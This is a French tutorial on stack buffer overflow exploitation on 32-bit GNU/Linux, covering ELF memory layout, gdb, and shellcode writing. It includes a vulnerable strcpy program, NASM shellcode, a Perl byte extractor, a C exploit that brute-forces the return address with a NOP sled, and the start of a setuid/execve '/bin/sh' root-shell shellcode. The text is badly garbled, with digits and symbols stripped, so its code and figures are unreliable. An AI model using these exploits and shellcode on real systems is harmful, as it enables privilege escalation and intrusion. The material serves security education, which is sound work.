Dpassement de capacit de la pile Etude des exploitations avances de stack overflow, criture de shellcodes polymorphiques et alphanumriques Gross David Alias Deimos ltdeimosfuturezone.bizgt avril Table des matires . Introduction ................................................................................................................. . Rappels des concepts de base ................................................................................... .. Organisation de la mmoire sous GNU/Linux ............................................ .. Le langage assembleur .................................................................................... .. Utilisation de logiciels de dbogage ............................................................. . Exploitation basique de stack overflow ................................................................. .. Prsentation dun cas de stack overflow ...................................................... .. Prise de contrle du flux dexcution ........................................................... .. Programmation de shellcode basique et exploitation ................................. .. Exemples de shellcode .................................................................................... . Techniques avances de programmation de shellcode ...................................... .. Shellcode polymorphique ............................................................................... .. Shellcode alphanumrique .............................................................................. ... Instructions disponibles ............................................................................ ... Lalgorithme dencodage ......................................................................... ... Substitution dinstructions ....................................................................... ... Structure globale du shellcode ................................................................ ... Mise en application ................................................................................... ... Exploitation ................................................................................................ .. Camouflage de NOPs ...................................................................................... . Technique avance dexploitation de stack overflow ......................................... .. ret into linuxgate.so. ............................................................................. ... Prsentation de la mthode ...................................................................... ... Exploitation ................................................................................................ ... Protection possible ..................................................................................... .. ret into .text ................................................................................................. .. Exploitation en local ........................................................................................ . Conclusion .................................................................................................................... . Remerciements ............................................................................................................ . Rfrences .................................................................................................................... . Annexes ......................................................................................................................... Cest en effectuant des tests dexploitation de stack overflow avec ces shellcodes que je me suis rendu compte des nombreuses protections prsentes en local en plus des protections prsentes lors dune attaque distance. lcriture mais surtout la prparation de ce texte mont pris un temps considrable et jespre avoir des retours positifs de ce travail. Introduction Avant de se lancer dans le vif du sujet.. Jai ainsi largi le sujet de cet article. javais pour objectif dcrire un article uniquement sur les shellcodes polymorphiques et de lapprofondir en dcrivant la programmation de shellcode entirement alphanumrique i.e. do la rdaction des parties et . Je suis actuellement tudiant en premire anne de DUT informatique . comme par exemple la randomisation de ladresse de base de la pile sous GNU/Linux depuis le kernel . tous les opcodes compris dans les valeurs azAZ afin de dmontrer les faiblesses potentielles des NIDS. . et en mme temps dcid de le destiner un plus large public. destines aux dbutants ou aux individus ne stant jamais penchs sur les failles de dpassement de tampon buffer overflow. Je mexcuse davance pour toutes les fautes et manques de prcisions que vous pourrez trouver dans ce document. Nhsitez donc pas me contacter afin que je corrige ou complte celuici jessayerai de toute faon de le tenir jour quant lvolution de la scurit informatique ou pour me faire part de vos critiques constructives et commentaires.. Ctait un sujet que je trouvais trs intressant et ma motivation produire un texte sur les shellcodes alphanumriques tait pousse par le fait que je nai pas vu jusqu prsent de document franais sur ce sujet. A la base. je tiens me prsenter afin que le lecteur sache qui se cache derrire ce document et en profiter pour prciser certains points concernant ce texte. etc. et non pas une documentation exhaustive permettant un apprentissage complet de ces notions. pour de nombreuses raisons videntes. De plus certaines connaissances ncessaires la lecture de ce document ne seront pas rappeles. bien que les scripts Perl prsents dans cet article ne sy trouvent quen guise de Proof of Concept .En effet jy dcrirai lorganisation de la mmoire sous GNU/Linux. la manipulation de certains outils GNU/Linux. comme la programmation en C voire Perl. Il sagit donc de simples rappels afin de se rafraichir la mmoire sur certains points. les gnralits du langage machine. . ElfPhdr et ElfShdr sont dtailles dans les annexes de ce document. . les fichiers binaires excutables sont du format ELF Executable and Linking Format.. Voici la structure globale dun fichier ELF Les structures pour processeur i ElfEhdr. Organisation de la mmoire sous GNU/Linux Sous les systmes GNU/Linux.. Pour les binaires excutables au format x. se rfrer au manpage du format elf. Rappels des concepts de base . so.data elle contient toutes les donnes globales initialises La section . On distingue ainsi un peu moins dune trentaine de type de sections.hgt int i.Lorsquun excutable est lanc.bss char c A. Il nest toutefois ncessaire de retenir uniquement La section . il sagit du fichier objet partag /lib/ldlinux. allocation et excution. en tenant compte des champs pfilez la taille du segment dans le fichier et pmemsz la taille du segment en mmoire. Pour chaque segment le champ pflags dfinit les droits en excution. criture et lecture.data . et rcupre une chaine de caractres qui correspond linterprteur. le systme dexploitation va chercher dans la Program Header Table le segment dont le champ ptype correspond la valeur PTINTERP. chaque processus dispose dune pile stack qui contiendra les variables locales et dun tas o seront stocks les variables alloues dynamiquement avec la fonction malloc en C.hgt include ltstdio.. lespace user tant situ entre x et xbfffffff et lespace kernel entre xc et xffffffff. cestdire xbfffffff . // . Il prend ensuite la valeur du champ poffset afin de localiser le segment dans le fichier ELF. La pile crot vers les adresses basses. qui est optionnelle dans les fichiers binaires excutables.bss elle contient toutes les donnes globales noninitialises De plus. donne des informations supplmentaires sur les diffrentes sections grce au champ shtype qui spcifie le contenu du segment et shflags qui dfinit les droits en criture. En gnral. La Section Header Table.text elle contient les opcodes code machine du programme excuter La section . et ladresse de base de celleci se situe vers les adresses hautes de lespace utilisateur user land. loprateur new en C. Pour rsumer et obtenir davantage dinformations. sous GNU/Linux. // . passons la pratique include ltmalloc. Celuici est ainsi le premier tre mapp en mmoire. et cest lui qui va parcourir nouveau la Program Header Table afin de mapper tous les segments de type PTLOAD avec le syscall mmap. char env int j.data xxnquot quotargv xxnquot quotargv xxnquot quotenv xxnquot quotenv xxnquot quotstack xxnquot quotheap xxnquot. char argv. while sleep. env. printfquotPID dnquot quot. deimosltbx/memory gcc ggdb o mem mem. ampc. k. ampi. env.int mainint argc.text xxnquot quot. argv.data x argv xbfbdba argv xbfbfcf env xbfbdbb env xbfbfca stack xbfbdb heap xa Petite vrification de ladresse des arguments et de lenvironnement dans la pile. Le binaire .bss xxnquot quot.bss x . // stack char k char mallocsizeofchar. ampj. les variables denvironnement tant situes juste au dessus des arguments xbfbfca ./mem a t lanc dans le shell avec un argument la chaine . .c deimosltbx/memory ./mem plop PID . argv.xbfbfcf xB ./mem plop . getpid.text xf ./mem correspondant argv fait bien caractres en comptant le caractre final NULL. main. T start D c B i f T main Avec ces informations. D la section .De plus. deimosltbx/memory nm mem . Le symbole B reprsente la section .bss..text.data et T la section . qui permet de lister les symboles dun fichier objet. lutilitaire nm. on peut facilement reprsenter la mmoire dun processus par ce schma volontairement simplifi . nous assure que chaque variable est dans la bonne section.. so bfdbfdb rwp /lib/tls/libc.. stat informations diverses sur ltat du processus seul le champ startstack nous intresse deimosltbx/memory .so bfbbbfb rwp bfbb stack deimosltbx/memory cat /proc//stat mem S deimosltbx/memory ... s pour le partage et p pour le statut priv.so bb rwp /lib/ld. Dans chaque rpertoire /proc/pid/. w pour criture.. on peut connatre de nombreuses informations sur celuici grce au systme de fichiers virtuel /proc. ainsi que les droits pour chacune dentre elles r pour lecture. x pour lexcution. un sousrpertoire est cr dans /proc avec comme nom son Processus ID.Lorsquun processus est lanc./mem amp deimosltbx/memory cat /proc//maps rxp /home/deimos/memory/mem a rwp /home/deimos/memory/mem ab rwp a heap beabea rwp bea beabfd rxp /lib/tls/libc..... chaque processus lanc. on trouve environ ce fichier contient les variables denvironnement du processus maps ce fichier rend lutilisateur les dbuts et fin de sections mappes en mmoire. En effet. Bien videmment nous ne verrons que les points qui nous serviront plus tard dans notre tude des exploitations et protections de buffer overflow.so bfdbbfdd rwp bfdb bfebfe rwp bfe bfebfea rxp bfe vdso bfeab rxp /lib/ld. ebx movb al. bien que un peu moins logique que la syntaxe ATampT.deimosltbx/memory cat /proc//environ tr quotquot quotnquot TERMxterm SHELL/bin/bash XDMMANAGED/var/run/xdmctl/xdmctl. source mov eax.maysd.methodclassic USERdeimos PWD/home/deimos/memory LANGfrFReuro SHLVL HOME/home/deimos LANGUAGEfrFRfrenGBen LOGNAMEdeimos DISPLAY. dsxebp movw esxfebx.mayfn. dest movl x.x jmp eax ./mem OLDPWD/home/deimos deimosltbx/memory . al mov esebxecxxf. COLORTERM .ecx. en effet elle est moins lourde tant allge de tous les prfixes des oprandes. eax movl eax. Exemple dinstruction basique en syntaxe NASM gauche et ATampT droite mnemonique dest. eax mov dsebpx. Le langage assembleur De solides connaissances du langage assembleur seront galement ncessaires pour la suite de ce document. x mov ebx. ax jmp near eax mnemonique source.. Nous allons donc revoir rapidement deux syntaxes assembleur la syntaxe ATampT car elle est utilise par gdb Gnu debugger et la syntaxe NASM Netwide Assembler car les shellcodes seront programms avec celleci .sched. dnquot.c Voyons prsent comment ce code C est interprt en assembleur et de quelle manire sont grs la pile et les appels de fonction. ESP. deimosltbx/memory cat gtfunc. printfquotd. j. ECX. EBX. Pour cela. EIP ESP correspond au pointeur du sommet de la pile Stack Pointer EIP contient ladresse de la prochaine instruction excuter Instruction Pointer Les registres EFLAGS . nbr.hgt void foobarint nbr.Un bref rappel des diffrents registres disponibles sur un processeur i Les registres gnraux EAX. ESI. int main int i . EDX Les registres doffset EDI. nbr. . int nbr. le dbogueur qui nous servira plus tard sous GNU/Linux. deimosltbx/memory gcc ggdb o func func. int nbr int local. EBP.. int j . il suffit de dsassembler la fonction int main et la fonction void foobarint nbr. return . Utilisation de logiciels de dbogage Dans cette section nous allons rapidement passer en revue les principales commandes de gdb.c include ltstdio. foobari. esp xa ltfoobargt mov xcebp.eax xac ltmaingt add x.esp xaf ltmaingt pop ecx xb ltmaingt pop ebp xb ltmaingt lea xfffffffcecx.esp xa ltmaingt call x ltfoobargt xa ltmaingt mov x. .xfffffffebp xe ltmaingt movl x.esp x ltmaingt movl x. gdb disass main Dump of assembler code for function main x ltmaingt lea xesp.eax x ltfoobargt mov eax.deimosltbx/memory gdb func gdb disass foobar Dump of assembler code for function foobar x ltfoobargt push ebp x ltfoobargt mov esp.eax x ltmaingt mov eax.esp xd ltmaingt pushl xfffffffcecx x ltmaingt push ebp x ltmaingt mov esp.esp xf ltfoobargt call x ltprintfpltgt x ltfoobargt leave x ltfoobargt ret End of assembler dump.eax xf ltmaingt mov eax.eax xd ltfoobargt mov eax.xesp x ltfoobargt mov xebp.xesp x ltfoobargt movl xc.xesp xc ltmaingt mov xfffffffebp.esp xb ltmaingt ret End of assembler dump.xfffffffebp x ltmaingt mov xfffffffebp.ebp x ltmaingt push ecx x ltmaingt sub x.ecx xa ltmaingt and xfffffff.ebp x ltfoobargt sub x. ebp ecx x.dnquot. lopration inverse seffectue.On remarque quune fonction toujours un prologue qui sauvegarde le Base Pointer en lempilant push et qui est substitu par le Stack Pointer courant. gdb b xf Breakpoint at xf file func. gdb run Starting program /home/deimos/memory/func Breakpoint . avec linstruction leave qui correspond un mov ebp.c printfquotd.esp x ltmaingt x ltmaingt x ltmaingt x ltmaingt push mov push sub ebp esp. esp . nbr. esp le processus rserve yy octets sur la pile afin dy stocker les variables locales. Voici le prologue en question x ltfoobargt push ebp x ltfoobargt mov esp. Puis avec un sub xyy. nbr at func. nbr. Il sert rcuprer les arguments passs la fonction ainsi qu rtablir lenvironnement de dpart en fin de fonction.ebp x ltfoobargt sub x. Linstruction ret quant elle est lquivalent de pop eip.esp En fin. line . pop ebp. d n xd ltFRAMEENDgt .c. de fonction. xf in foobar nbr. gdb p esp void xbfba gdb x/xw esp xbfba xc x x gdb x/c xc xc ltIOstdinusedgt d . La commande x/xw esp affiche mots longs double words en hexadcimal au sommet de la pile.En plaant un breapoint sur le call de notre fonction printf. . et nos deux valeurs. et x/c xc affiche octets en ASCII ladresse mise en paramtre. on peut vrifier que le registre ESP pointe bien vers les trois arguments ladresse de la chane de caractres pour le format daffichage. patch sur gcc tels que StackShield / PaX. Prsentation dun cas de stack overflow Un stack overflow. ceci provoquant lcrasement de donnes sensibles. Comme son nom lindique.. ou dpassement de pile. deimosltbx/stackoverflow cat gtvuln.hgt void fooconst char buf char buffer. puis le crash de lapplication. . buf. Cette vulnrabilit est redoutable tant donn que lattaquant lexploite en injectant en mmoire du code que lapplication excute. compilateur StackGuard. Dans la plupart des cas de stack overflow. ce bug reprsente une faille de scurit qui peut tre exploite soit en local. Exploitation basique de stack overflow .. Toutefois elle reste assez complexe mettre en uvre car les protections contre ce type de failles se multiplient protection antidpassement de tampon depuis gcc . return .c // A compiler avec fnostackprotector a partir de gcc . il sagit dun bug dans un excutable laissant lutilisateur la possibilit de stocker dans la pile plus doctets que prvu.. soit distance on parle dexploitation en remote. Ce dysfonctionnement est d le plus souvent une inattention durant la phase de programmation du binaire par les dveloppeurs. int mainint argc. strcpybuffer. include ltstring. est un cas spcifique de buffer overflow dpassement de tampon. flag /GS sous Microsoft Visual C. . char argv ifargc gt fooargv. /vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA AAAAAAAAA. qui va contenir ESP prologue de la fonction foo deimosltbx/stackoverflow gcc ggdb o vuln vuln. si lutilisateur entre un argument dont la taille est suprieure caractres un caractre ASCII quivaut un octet. dont la taille nest pas vrifie. En effet. Program terminated with signal . Comme expliqu deux paragraphes plus tt. la fonction void fooconst char buf recopie dans buffer qui fait octets la chane de caractres passe en paramtre. cestdire return .c deimosltbx/stackoverflow . qui pointe sur linstruction suivante. Dans cet excutable./vuln deimosltbx/stackoverflow ulimit c deimosltbx/stackoverflow ./vuln core Core was generated by . cest le er argument du programme qui est recopi dans buffer. on constate que les variables locales dune fonction sont prcdes de EBP puis de la sauvegarde de EIP sur laquelle le programme doit retourner lors de linstruction RET de la fonction./vuln perl e print quotAquotx.Le programme prcdent est un des exemples les plus basiques de stack overflow. des donnes seront crases dans mmoire. Segmentation fault. x in gdb p ebp void x gdb p eip void x gdb x/x esp xbfa x x x x xbfa x x x x xbfa x x gdb quit . Erreur de segmentation core dumped deimosltbx/stackoverflow gdb . Quelles seront ces octets de la pile sur lesquels lutilisateur va crire Si lon revient au schma de la mmoire prsent dans le chapitre prcdent. sont empils successivement Ladresse de largument argv LEIP courant. LEBP courant. lors de lappel fooargv. Dans notre cas. lexception dun troisime paramtre qui est la longueur de la chane. le programme vulnrable crash suite un crasement du registre EIP par la chane de caractres AAAA . crer de lourds problmes de scurit lapplication. En effet. De nombreuses fonctions sur les chanes de caractres sont viter . rien ne nous empche de remplir notre buffer de caractres A puis de mettre dans les derniers octets ladresse o lon veut que le processus jump. . Toutefois.. strcat. vsprintf et bien dautres. sprintf. dseax mov dsedxeax. cl jnz strcpy EAX contient loffset de la chane de caractre copier. La fonction strcpy est ainsi viter lors de la programmation en C car elle peut. selon leur utilisation. selon son utilisation. Cette fonction peut tre rsume ces quelques lignes de langage machine strcpy mov cl. aucun code excutable ne se situe ladresse mmoire x. Il vaut mieux utiliser strncpy. Prise de contrle du flux dexcution Dans lexemple prcdent. fonction identique strcpy. . on peut citer gets. strcpy. et EDX loffset mmoire o seront crits les caractres. cl inc eax test cl.On vient ainsi de vrifier avec gdb que EBP et EIP ont bien t crass par les donnes entres par lutilisateur x correspond au code ASCII hexadcimal du caractre A. On constate donc quaucune vrification nest faite . la copie des caractres ne sarrte uniquement lors de la rencontre dun octet NULL. argv. deimosltbx/stackoverflow gcc ggdb o vuln vuln. nous allons sauter vers ladresse mmoire dune fonction de notre excutable. return . cette adresse sera celle de notre shellcode.hgt void barvoid printfquotHacking Attempt. Quit Hacking Attempt. Cela ne sert qu titre de dmonstration .esp xe ltbargt movl x. sauter vers une fonction de lexcutable nous permettra rarement darriver nos fins. quelques pages plus loin.esp xee ltbargt call xd ltinitgt xf ltbargt leave xf ltbargt ret End of assembler dump. strcpybuffer. printfquotQuitnquot. gdb quit deimosltbx/stackoverflow .nquot. dans lexploitation dun stack overflow. Erreur de segmentation core dumped deimosltbx/stackoverflow . print quotxexxxquot. int mainint argc.c deimosltbx/stackoverflow gdb vuln gdb disass bar Dump of assembler code for function bar xe ltbargt push ebp xe ltbargt mov esp.c include ltstdio. deimosltbx/stackoverflow cat gtvuln.ebp xe ltbargt sub x./vuln perl e print quotAquotx. En effet.Dans lexemple suivant. char argv char buffer. . La premire tape consiste programmer notre shellcode en assembleur. cestdire un programme exploitant une faille de scurit dans un excutable en lui injectant en mmoire un shellcode puis en sautant ladresse de ce dernier afin de lexcuter. Programmation de shellcode basique et exploitation Notre objectif dans cette partie est de concevoir un exploit.text start jmp short donnees rmdir pop ebx xor eax.asm . Je fais confiance vos talents de coder pour dvelopper des shellcodes plus exotiques et les tester. syscall exit xor ebx. x . eax mov al. eax mov al. deimosltbx/stackoverflow/sc cat gtshellcode. Nous avons alors une infinit de choix sur laction de ce code . syscall rmdir int x xor eax. toutefois nous allons faire simple et programmer un shellcode qui nous supprimera le rpertoire testdir cr auparavant pour le test. x ..asm BITS global start segment . ebx int x donnees call rmdir nom db quottestdirquot deimosltbx/stackoverflow/sc nasm shellcode. used for restarting / . on peut se rfrer au fichier /usr/src/linux/arch/i/kernel/syscalltable. nd argument ECX.long sysrmdir / / A prsent que nous avons notre shellcode compil. Si le nombre darguments passer en paramtres est suprieur . ladresse de linstruction suivante EIP est empile et on la rcupre avec linstruction pop. on voit les codes des deux syscall utilises x pour exit et d soit x pour rmdir.long sysexit . alors le registre ECX contiendra lemplacement mmoire o seront stocks les arguments.long sysopen / / . En effet.old quotsetupquot system call.long syswrite . on rcupre ladresse de chane de caractres testdir par le classique jmp / call / pop lors du call./arch/i/ kernel/syscalltable. puis EDX. afin quil soit logeable mme dans des buffers de petite taille quelques dizaines doctets..Rien dexceptionnel dans ce code assembleur . EDI et EBP. Pour la liste de tous les syscalls. il faut vrifier quil puisse tre utilis dans une exploitation de stack overflow.S ENTRYsyscalltable . Lors dun appel systme syscall. il ne doit comporter aucun octet NULL en effet les fonctions sur les chanes de caractre sarrtent lorsquelles rencontrent le caractre et ne doit contenir aucune adresse absolue car ladresse exacte du shellcode dans la pile nest jamais connue.S cidessous un extrait. le numro de lappel se situe dans EAX. .long sysmkdir .long sysrename .long sysfork . ESI. donc on obtient ladresse de celleci. deimosltbx/stackoverflow/sc cat /usr/src/linux. cest notre chane qui suit directement le call. et les paramtres dans les registres disponibles er argument EBX.long sysrestartsyscall / .long sysread . Pour cela. De plus il est prfrable de coder des shellcodes de la manire la plus courte possible. syscall exit xor ebx. db cd e ea ff ff ff .testd ir . Voici un exemple de code assembleur viter car il produit des octets NULL et la taille du shellcode par la mme occasion deimosltbx/stackoverflow/sc cat gtshellcode... syscall rmdir int x mov eax.... x .deimosltbx/stackoverflow/sc hexdump C shellcode eb f b c b cd c b db cd .. x .. le shellcode est correctement cod il ny a aucun byte NULL. ebx int x donnees call rmdir nom db quottestdirquot deimosltbx/stackoverflow/sc nasm shellcode.testdir d Ici.text start jmp donnees rmdir pop ebx mov eax..asm deimosltbx/stackoverflow/sc hexdump C shellcode e b b cd b ... e ec ff ff ff ...asm BITS global start segment .. open my shellcode. quotlt. int mainint argc. char argv int shellcode int sc. join quotquot. close shellcode or die Cant close shellcode . my content ltshellcodegt. nous navons pas programm un shellcode de plusieurs centaines doctets et on les excute telle une fonction C deimosltbx/stackoverflow/sc cat gtextractshellcode. print quotxquot.c test.c Dans la fonction main test.pl /usr/bin/perl use strict.pl xebxfxbxxcxbxxcdxxxcxbxxxdbxcdxxexecx ffxffxffxxxxxxx deimosltbx/stackoverflow/sc cat gttest.asm test test. deimosltbx/stackoverflow/sc gcc o test test. . shellcodequot or die Cant open shellcode .pl shellcode shellcode.c attention use of cast expressions as lvalues is deprecated deimosltbx/stackoverflow/sc mkdir testdir deimosltbx/stackoverflow/sc ls extractshellcode. quotxquot.Pour tre sr que tout se droule comme prvu lors de lexcution de notre shellcode. unpackquotHquot. on extrait les octets de notre code assembleur obtenus avec la commande hexdump C shellcode avec un script Perl car cest quelque peu fastidieux et encore. use warnings. deimosltbx/stackoverflow/sc perl extractshellcode.content.c testdir . shellcode. print quotnquot./g.c char sc quotxebxfxbxxcxbxxcdxxxcxbxxxdbxcdxxexec xffxffxffxxxxxxxquot. return . print m/.. nos deux syscalls sexcutent donc sans problme. syscall rmdir mov ebx.asm BITS global start segment . x . mais lorsquil sera dans la pile. byte x push byte x push word x push dword x xor eax. le shellcode marche tout de mme. la chane de caractres testdir sera suivi de ladresse de retour.c Tout lair de bien fonctionner le rpertoire est correctement supprim et le processus ne crash pas . Toutefois je suis prt parier gros que le shellcode ne marche pas lors de lexploitation.pl shellcode shellcode. Comment faire finir notre chane dun caractre NULL alors que la rgle fondamentale dun shellcode est de ne pas contenir ce type de caractre Il suffit de fabriquer ce caractre de fin lexcution mme deimosltbx/stackoverflow/sc cat shellcode.text start push byte x xor esp. mais une longue chane commenant par testdir et suivi de caractres spciaux.asm test test. En effet. jusquau prochain caractre NULL. esp int x ./test deimosltbx/stackoverflow/sc ls extractshellcode. comme il ne doit pas contenir doctet NULL.deimosltbx/stackoverflow/sc . eax mov al. nous avons omis le caractre de fin de chane dans le nom du rpertoire supprimer nom db quottestdirquot aurait d tre nom db quottestdirquot. et donc le nom de rpertoire pass rmdir ne sera pas testdir . . Ici. deimosltbx/stackoverflow/sc perl extractshellcode./test deimosltbx/stackoverflow/sc ls exploit exploit. syscall exit deimosltbx/stackoverflow/sc nasm shellcode.c . return .c shellcode shellcode.asm shellcode.asm shellcode.pl xaxxxxxxaxxxxxxxxxxxx cxbxxxexcdxxxcxbxxxdbxcdx deimosltbx/stackoverflow/sc cat gttest. char argv int shellcode int sc...c Dans la fonction main test.Pjrfhdihtes c b e cd c b db cd t. .asm warning signed byte value exceeds bounds deimosltbx/stackoverflow/sc hexdump C shellcode a a jP.c test.o test test.asm shellcode. int mainint argc.xor eax. eax mov al. shellcode. ebx int x .o test test.c testdir deimosltbx/stackoverflow/sc . deimosltbx/stackoverflow/sc gcc o test test. x xor ebx.c shellcode shellcode.c char sc quotxaxxxxxxaxxxxxxxxxxx xcxbxxxexcdxxxcxbxxxdbxcdxquot.c attention use of cast expressions as lvalues is deprecated deimosltbx/stackoverflow/sc mkdir testdir deimosltbx/stackoverflow/sc ls exploit exploit. .c include ltstdio. Maintenant que le shellcode est prt pour une exploitation de faille.x lorsque /proc/sys/kernel/randomizevaspace est . Celuici se trouve dans la pile tant donn que nous traitons ici un cas de stack overflow. cestdire ladresse mmoire de notre shellcode. return . donc elle avoisinera ladresse xbfffxxxx. deimosltbx/stackoverflow for i in seq . On utilise la fonction asm de gcc afin dcrire de lassembleur inline et obtenir cette adresse qui toutefois change dun kernel un autre deimosltbx/stackoverflow su Password rootltbx/home/deimos/stackoverflow cat gt/proc/sys/kernel/randomizevaspace rootltbx/home/deimos/stackoverflow exit deimosltbx/stackoverflow cat gtfindesp. il faut dabord connatre ladresse de base de la pile stack base address qui est statique sous les noyaux linux . findesp.hgt long findesp asmquotmovl esp./findesp.Le rpertoire est correctement supprim et lexcutable ne segfault pas . done Stack Pointer xbffffa Stack Pointer xbffffa Stack Pointer xbffffa deimosltbx/stackoverflow . eaxquot.. do . Cet ensemble doctets est appel un payload et doit avoir comme taille celle du buffer octets crasement de EBP octets crasement de EIP. Il nous reste trouver emplacement o se trouve notre shellcode dans la pile.x ou prcdents et sur les noyaux . rcapitulons ce que va contenir notre buffer Notre shellcode Ladresse de retour avec laquelle EIP doit tre cras. tout est correct. Pour cela. int main printfquotStack Pointer xxnquot. buffersize.Cependant. offset atoiargv. return . unsigned long findesp asmquotmovl esp. i ptrbuff shellcodei. Nous allons adopter une mthode par brute force. eaxquot. unsigned int offset. iltstrlenshellcode. comment connatre le dcalage offset que possde ladresse de notre shellcode dans la pile par rapport cette adresse Nous savons que la pile crot vers les adresses basses . . argv. de ce fait notre shellcode se situera une adresse infrieure xbffffa. int mainint argc. cestdire tenter toute une plage dadresse mmoire. buffersize atoiargv. char argv ifargc lt printfquotUsage s offset buffersizenquot. unsigned long ret. ptrret. fori. ptrbuff buff. buff char mallocbuffersize . ptrret long ptrbuff. int i.c include ltmalloc. Pour cela. prparons notre exploit deimosltbx/stackoverflow cat gtexploit. ptrbuff.hgt char shellcode quotxxxxaxxxxxxaxxxxxxxxx xxxcxbxxxexcdxxxcxbxxxdbxcdxquot. char buff. ret findesp offset. /vulnquot. octets de code hexadcimal x ont t rajouts. do echo quotTentative loffset iquot. On comprend bien que dans le cas inverse. ptrbuff . iltbuffersizestrlenshellcode/. ptrbuff char ptrret. on alloue de lespace avec malloc pour notre buffer la taille buffersize entre en paramtre octets pour EBP et EIP. Puis on remplit celuici avec notre shellcode re boucle for et avec ladresse de retour ret rpte jusqu dbordement du tampon nde boucle for. Ces opcodes correspondent linstruction NOP No OPeration et sont prsents uniquement pour que le shellcode ait une taille de multiple de octets./exploit i . . i ptrret ret. quot. return . NULL. comme par exemple xfaebfff la place de xbffffae. deimosltbx/stackoverflow for i in seq . buff. done Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit Instruction illgale core dumped Tentative loffset Quit .fori. EIP serait cras avec une mauvaise adresse de retour. deimosltbx/stackoverflow Dans un premier temps. ceci tant d un dcalage de octets Tout est prt. execlquot. On remarque quau dbut de notre shellcode. reste lancer notre exploit dans une boucle en utilisant un peu de shell scripting./vulnquot. deimosltbx/stackoverflow . Afin de connatre ladresse exacte avec laquelle craser EIP pour que tout notre shellcode se lance.Erreur de segmentation core dumped Tentative loffset Quit Erreur de segmentation core dumped ./exploit Quit Erreur de segmentation core dumped .. Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit Tentative loffset Quit Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit Erreur de segmentation core dumped Tentative loffset Quit Erreur de segmentation core dumped . nous avons un espace de octets au maximum lire afin de tomber sur le dbut du shellcode. On se doute alors que le flux dexcution passe par notre syscall exit. deimosltbx/stackoverflow On remarque quentre les offsets et . le programme quitte normalement.. sans signal segfault... il suffit dexaminer ltat de la pile lors du segfault obtenu avec loffset le plus proche on aurait pu directement faire a. et donc quune partie de notre shellcode est excut. mais ici. Reading symbols from /lib/ldlinux. Core was generated by . Program terminated with signal .c notes. ce qui nous convainc que le dbut de notre code se situe xbffffae.so.txt notes.c deimosltbx/stackoverflow .c notes.. deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow ls core exploit exploit./exploit Quit deimosltbx/stackoverflow ls core exploit exploit./vuln jPPjrfhdihtest.. soit un offset de octets par rapport ladresse de base de la pile..txt sc vuln vuln.txt notes.so.c getesp getesp. xbffffada in gdb p eip void xbffffada gdb p ebp void xbffffada gdb x/x eip xbffffada xfe xec x xa xbffffaea xa x x xbc xbffffafa xcde xbc xcddb xfffada xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf xbffffba xfffadabf xfffadabf xfffadabf xfffadabf gdb quit deimosltbx/stackoverflow On vrifie rapidement que EIP et EBP ont bien t crass avec ladresse de retour voulue au cas o .so..done.txt sc testdir vuln vuln.deimosltbx/stackoverflow gdb .c getesp getesp.c deimosltbx/stackoverflow . Segmentation fault. On laperoit octets aprs xbffffada.so./vuln core .. puis on visionne les octets qui suivent EIP qui se situe donc dans la pile. Loaded symbols for /lib/ldlinux. Loaded symbols for /lib/tls/libc..done... Une trentaine doctets plus loin se situe la rptition de ladresse de retour. Reading symbols from /lib/tls/libc. Rappelonsnous le dbut de notre shellcode xxxxaxx . Voici donc notre nouvel exploit deimosltbx/stackoverflow cat gtexploit. cestdire o le processus vulnrable ne tourne pas en local et o vous ne connaissez ni la version exacte du noyau Linux installe ni ladresse de la base de la pile. Cest pourquoi la technique de remplissage dopcodes NOP est utilise trs frquemment dans les exploits.c include ltmalloc. Connatre loffset du shellcode un octet prs est donc dlicat. Le premier schma est celui de notre payload actuel.Notre exploitation sest passe comme prvue. imaginezvous dans un contexte autre que celuici.hgt char shellcode quotxaxxxxxxaxxxxxxxxxxxxc xbxxxexcdxxxcxbxxxdbxcdxquot. nous passons dune marge derreur possible de un octet taille du buffer taille du shellcode octets. Dans le cas prcdent. . et le second celui avec NOP On se rend compte quavec cette technique. Cependant. nous avons alors une marge derreur de octets. nous avions un shellcode de octets et un buffer de octets . ptrret long ptrbuff. ret findesp offset.strlenshellcode. unsigned long ret. ptrbuff char ptrret. offset atoiargv. quot. buffersize. int mainint argc. eaxquot.unsigned long findesp asmquotmovl esp. ptrbuff buffersize . . return . fori. char argv ifargc lt printfquotUsage s offset buffersizenquot. NULL. char buff. memsetptrbuff./vulnquot. x. execlquot. iltstrlenshellcode. argv.strlenshellcode. i ptrret ret. int i. fori. ptrbuff . buffersize atoiargv. buff char mallocbuffersize . unsigned int offset. buff. ptrbuff buff. ptrret./vulnquot. i ptrbuff shellcodei. return . ilt. buffersize . ptrbuff. txt notes.c notes.c notes.c getesp getesp.c sc vuln vuln. . mais malheureusement pas trs utile. Le premier shellcode que jai cod pour cet article est un classique il permet dobtenir en local un shell root condition que le binaire ai le bit suid grce aux syscalls syssetuid.txt notes. et donc avec un shellcode. cestdire dans une zone denviron octets celle o se trouvent les NOPs.txt sc testdir vuln vuln./exploit Quit deimosltbx/stackoverflow ls exploit exploit./exploit Quit deimosltbx/stackoverflow ls exploit exploit.txt notes.txt deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow .c sc vuln vuln./exploit Quit deimosltbx/stackoverflow ls exploit exploit. NULL. Exemples de shellcode Notre exemple prcdent tait fort sympathique. notre shellcode se charge sans encombre de loffset . Il suffit donc dappeler successivement setuid.c notes. syssetgid et execve.c getesp getesp.c notes.txt notes. .c sc vuln vuln..deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow ls exploit exploit.c Le proof of concept est cidessus . /bin/sh.txt deimosltbx/stackoverflow .c getesp getesp. Voyons prsent une partie de ce que lon peut faire avec les syscall. NULL.c getesp getesp.txt deimosltbx/stackoverflow mkdir testdir deimosltbx/stackoverflow . setgid et execve/bin/sh. char constargv .deimosltbx/stackoverflow/shellcode cat gtshellroot. esp xor edx. syssetuid . int execve const char fichier. x xor ebx. xor eax. xe xor ebx. void exit int status xor eax. xb . edx push edx push ebx mov ecx. char constenvp xor eax. ebx int x . syssetgid .asm BITS global start segment . ebx int x . eax mov al. ebx int x . byte x push byte x push word xf push xef mov 